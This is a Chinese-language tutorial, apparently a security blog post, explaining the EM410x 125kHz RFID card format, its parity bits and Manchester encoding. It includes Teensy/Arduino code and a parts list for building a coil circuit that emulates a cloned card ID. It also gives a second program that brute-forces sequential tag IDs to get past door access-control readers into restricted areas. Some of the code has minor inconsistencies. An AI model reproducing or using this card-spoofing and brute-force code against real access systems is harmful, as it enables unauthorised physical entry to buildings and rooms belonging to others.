首先,我不得不再次提一下那些工作在125khz頻率下的低頻卡(如:EM410X之類的),以便大家更好的閱讀以下的內容。
低頻(LF, Low frequency)是指頻帶由30KHz到300KHz的無線電電波。一些無線電頻率識別( RFID技術 )標簽使用低頻。 這些標簽通常被稱為 LFID’s或LowFID’s(低頻率識別Low Frequency Identification)。
然而LFID’s/LowFID’s所常用(非唯一)的頻率為125kHz/134kHz,125kHz/134kHz只是低頻RFID所基于的頻率,該頻率不存在任何功能性,就是頻率本身不存在所謂的ID識別、讀取寫入等,而常用的低頻卡有HID、T55xx、EM410x等系列,這些系列的低頻卡都是大家在生活當中常常會使用到會碰到的。而這一次我們說的就是基于125kHz下的EM410x系列用于門禁ID識別之用。
以下就是EM410x的格式:
1 1 1 1 1 1 1 1 1 9bits頭
8 bits版本或廠商ID
D00 D01 D02 D03 P0
D10 D11 D12 D13 P1
D20 D21 D22 D23 P2
D30 D31 D32 D33 P3
D40 D41 D42 D43 P4 10bits行檢驗
D50 D51 D52 D53 P5
32bits數據 D60 D61 D62 D63 P6
D70 D71 D72 D73 P7
D80 D81 D82 D83 P8
D90 D91 D92 D93 P9
PC0 PC1 PC2 PC3 S0
4位列校驗
這64位數據里面連續9個1作為數據開頭,而D00-D93就是用戶數據,P0-P9是行偶校驗位,PC0-PC3是列偶校驗位,S0為數據結束位。
簡單通俗的科譜一下什么是偶校驗,就是數據1的個數是奇數還是偶數。
例如:0x01的二進制是0001這個數據中1的個數為奇數,如果偶校驗的話就應該是 00011讓1的個數為偶數,要是數據是1110 那偶校驗當然就是11101,相反要是奇校驗就是11100。
以下實際例子說明EM410x格式:
如果我有一張EM410x卡,而卡上所印刷的ID會是:
0005206306
如果利用Proxmark3或低頻讀卡器進行讀取的話,你將會看到ID會多出兩位數值,而這個數值有可能就是8bit的版本、廠商或用戶標識。如果我們利用Proxmark3讀取出來ID是:
0x0600503472
相對應的0×00503472=5206306,而0×06就是標識,而它的格式將會是怎么樣的呢?看看以下分析:
首先是數據頭:
111111111
卡號數據與行偶校驗位
0 = 0000 0
6 = 0110 0
0 = 0000 0
0 = 0000 0
5 = 0101 0
0 = 0000 0
3 = 0011 0
4 = 0100 1
7 = 0111 1
2 = 0010 1
p = 0001 (列偶校驗位)
0 結束
由上面的數據因此我們將會得到以下的數值:
111111111 00000 01100 00000 00000 01010 00000 00110 01001 01111 00101 00010
這就是EM410x的格式,如果還有什么不明白的話,請自行使用Google等搜索引擎進行信息搜索,接下來就是談談如何利用Teensy進行EM410x的模擬操作。
硬件元件清單:
1. 基于125kHz的低頻線圈
2. 電容
3. 三極管 2N3904
4. 電阻 10K
5. Teensy++ 2.0
如何制做一個125khz諧振電路呢。那得知道LC諧振公式
F 頻率 L 電感 C 電容
如你買的線圈電感是345UH那么就配一個4700PF的電容,要是730UH那電容就配個2200PF的。當天線配置好后,就利用Teensy++ 2.0這個小玩意寫入以下代碼,當然你也可以用Arduino開發板。
Teensy++ 2.0模擬EM410x代碼如下:
#!c#
String sStart = "1111111110000000000";//
String sStop = "0";
int data_to_spoof[64];
int coil_pin = 9;
int a,b,c,d;
unsigned long id;
char HexCode[8];
void setup()
{
// Serial.begin(9600);
pinMode(coil_pin, OUTPUT);
digitalWrite(coil_pin, LOW);
id = 0x503472;
a=0;b=0;c=0;d=0;
sprintf(HexCode,"%04X%04X",id);
String s = sStart + Em4xCode(HexCode[4]) + Em4xCode(HexCode[5]) + Em4xCode(HexCode[6]) + Em4xCode(HexCode[7]) + Em4xCode(HexCode[0]) + Em4xCode(HexCode[1]) + Em4xCode(HexCode[2]) + Em4xCode(HexCode[3]) + EvenParity(a) + EvenParity(b) + EvenParity(c) + EvenParity(d) + sStop;
// Serial.println(s);
toCode(s);
}
void set_pin_manchester(int clock_half, int signal)
{
int man_encoded = clock_half ^ signal;
if(man_encoded == 1)
{
digitalWrite(coil_pin, HIGH);
}
else
{
digitalWrite(coil_pin, LOW);
}
}
String Em4xCode(String code)
{
if (code == '1') {d+=1;return "00011";}
if (code == '2') {c+=1;return "00101";}
if (code == '3') {c+=1;d+=1;return "00110";}
if (code == '4') {b+=1;return "01001";}
if (code == '5') {b+=1;d+=1;return "01010";}
if (code == '6') {b+=1;c+=1;return "01100";}
if (code == '7') {b+=1;c+=1;d+=1;return "01111";}
if (code == '8') {a+=1;return "10001";}
if (code == '9') {a+=1;d+=1;return "10010";}
if (code == 'A') {a+=1;c+=1;return "10100";}
if (code == 'B') {a+=1;c+=1;d+=1;return "10111";}
if (code == 'C') {a+=1;b+=1;return "11000";}
if (code == 'D') {a+=1;b+=1;d+=1;return "11011";}
if (code == 'E') {a+=1;b+=1;c+=1;return "11101";}
if (code == 'F') {a+=1;b+=1;c+=1;d+=1;return "11110";}
return "00000";
}
String EvenParity(int Parity)
{
if ((Parity % 2) == 1) return "1";
return "0";
}
void toCode(String s)
{
for(int i = 0; i < 64; i++)
{
if (s[i]=='0'){data_to_spoof[i]=0;}else{data_to_spoof[i]=1;}
}
}
void loop()
{
for(int i = 0; i < 64; i++)
{
set_pin_manchester(0, data_to_spoof[i]);
delayMicroseconds(256);
set_pin_manchester(1, data_to_spoof[i]);
delayMicroseconds(256);
}
}
在這里要提出的是,有可能你不理解為什么這么發送,因為它的編碼為是:曼徹斯特碼,所以我在這也通俗的說一下吧。
例如要發送64位數據:
111111111 00000 01100 00000 00000 01010 00000 00110 01001 01111 00101 00010
那用多少時間傳送1位呢?答案是64,125khz等于512us也就是說512us轉送1位,但曼徹斯特碼是用2位來表示的,如果數據是1的話,曼徹斯特碼為10,數據為0的話,曼徹斯特碼為01。所以轉送時512us轉一位數據換算為曼徹斯特碼轉輸就應該是 512us/2=256us傳送一個,然而程序是把64位數據換算成曼徹斯特碼發送,所以發送間隔為delayMicroseconds(256);
當我們利用Teensy進行相關的模擬操作的時候,發現實際上只要我們做相關窮舉測試,或者我們可以更加快速的突破門禁系統的限制進入到受限區域,在測試的環境當中,因為讀卡器并沒有任何延時讀取出現,所以我們可以極快的速度窮舉相關的TagID,但因每種門禁都有自身的設置以及環境因素,我們不確定以下的窮舉代碼是否適合大家,故此我們只是以提出可行性猜想來寫本文。
以下是暴力窮舉測試程序代碼:
#!c#
String sStart = "1111111110000000000";
String sStop = "0";
int data_to_spoof[64];
int led = 6;
int coil_pin = 9;
int a,b,c,d;
unsigned long id;
char HexCode[8];
void setup()
{
// Serial.begin(9600);
pinMode(led, OUTPUT);
pinMode(coil_pin, OUTPUT);
digitalWrite(coil_pin, LOW);
id = 0x502E96;
}
void set_pin_manchester(int clock_half, int signal)
{
int man_encoded = clock_half ^ signal;
if(man_encoded == 1)
{
digitalWrite(coil_pin, HIGH);
}
else
{
digitalWrite(coil_pin, LOW);
}
}
String Em4xCode(String code)
{
if (code == '1') {d+=1;return "00011";}
if (code == '2') {c+=1;return "00101";}
if (code == '3') {c+=1;d+=1;return "00110";}
if (code == '4') {b+=1;return "01001";}
if (code == '5') {b+=1;d+=1;return "01010";}
if (code == '6') {b+=1;c+=1;return "01100";}
if (code == '7') {b+=1;c+=1;d+=1;return "01111";}
if (code == '8') {a+=1;return "10001";}
if (code == '9') {a+=1;d+=1;return "10010";}
if (code == 'A') {a+=1;c+=1;return "10100";}
if (code == 'B') {a+=1;c+=1;d+=1;return "10111";}
if (code == 'C') {a+=1;b+=1;return "11000";}
if (code == 'D') {a+=1;b+=1;d+=1;return "11011";}
if (code == 'E') {a+=1;b+=1;c+=1;return "11101";}
if (code == 'F') {a+=1;b+=1;c+=1;d+=1;return "11110";}
return "00000";
}
String EvenParity(int Parity)
{
if ((Parity % 2) == 1) return "1";
return "0";
}
void toCode(String s)
{
for(int i = 0; i < 64; i++)
{
if (s[i]=='0'){data_to_spoof[i]=0;}else{data_to_spoof[i]=1;}
}
}
void loop()
{
a=0;b=0;c=0;d=0;
sprintf(HexCode,"%04X%04X",id);
String s = sStart + Em4xCode(HexCode[4]) + Em4xCode(HexCode[5]) + Em4xCode(HexCode[6]) + Em4xCode(HexCode[7]) + Em4xCode(HexCode[0]) + Em4xCode(HexCode[1]) + Em4xCode(HexCode[2]) + Em4xCode(HexCode[3]) + EvenParity(a) + EvenParity(b) + EvenParity(c) + EvenParity(d) + sStop;
// Serial.println(s);
toCode(s);
for(int ii = 0; ii < 2; ii++)
{
for(int i = 0; i < 64; i++)
{
set_pin_manchester(0, data_to_spoof[i]);
delayMicroseconds(265);
set_pin_manchester(1, data_to_spoof[i]);
delayMicroseconds(265);
}
}
if (id == 0x50308A){digitalWrite(led, HIGH);}
id += 1;
if (id > 0xFFFFFFFF ){id=0;}
}